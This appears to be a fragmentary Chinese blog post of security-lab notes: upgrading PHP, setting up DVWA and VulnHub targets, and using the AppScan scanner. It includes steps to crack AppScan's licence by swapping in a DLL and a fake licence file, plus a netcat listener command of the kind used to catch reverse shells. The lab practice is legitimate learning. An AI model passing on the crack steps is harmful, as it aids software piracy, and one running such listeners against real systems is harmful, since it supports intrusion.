php版本过低升级到7.4

因为不小心执行了第一个命令

卸载原来的php再次安装并修改配置

有文件就覆盖掉

systemctl restart httpd

image-20240712184157393

image-20240712184448288

image-20240712174954386

image-20240712193326762

进入DVWA

dvwa的登录默认用户和密码

AppScan(类似的nessus)

AppScan 的安装+激活以及+漏扫dvwa,生成安全报告_hcl appscan 许可证注册-CSDN博客

安装包(链接暂时没有上传)

安装完Appscan后将AppScanStdCrk目录下rcl_rational.dll替换安装路径下的同名文件,将AppScanStandard.txt后缀名.txt去掉

image-20240714083923941

安装完成之后激活许可证,打开软件,点击帮助-许可证-切换到IBM许可证,
选择解压得到的文件夹AppScanStdCrk中的AppScanStandard.txt去掉后缀名作为证书导入进去即可。

image-20240714084331742

设置起始URL,其余默认即可,保存文件开始扫描

Appscan的cookie登录扫描的设置:

配置登陆选项,配置cookie设置跟踪并修改security为固定值Low

2024最新最全:漏扫工具Appscan使用(非常详细)从零基础入门到精通,看完这一篇就够了。_appscan使用教程-CSDN博客

image-20240714092321054

VULNHUB靶场

https://www.vulnhub.com/

DC-1-DC-9

注释

nc

在另一个trminal窗口中监听端口活动

nc -lvp 2020
更多漏洞学习

win常见高危漏洞 - 子墨·咖啡 - 博客园 (cnblogs.com)

posted @ 2024-12-12 20:58  BUGCATCAPOO  阅读(12)  评论(0编辑  收藏  举报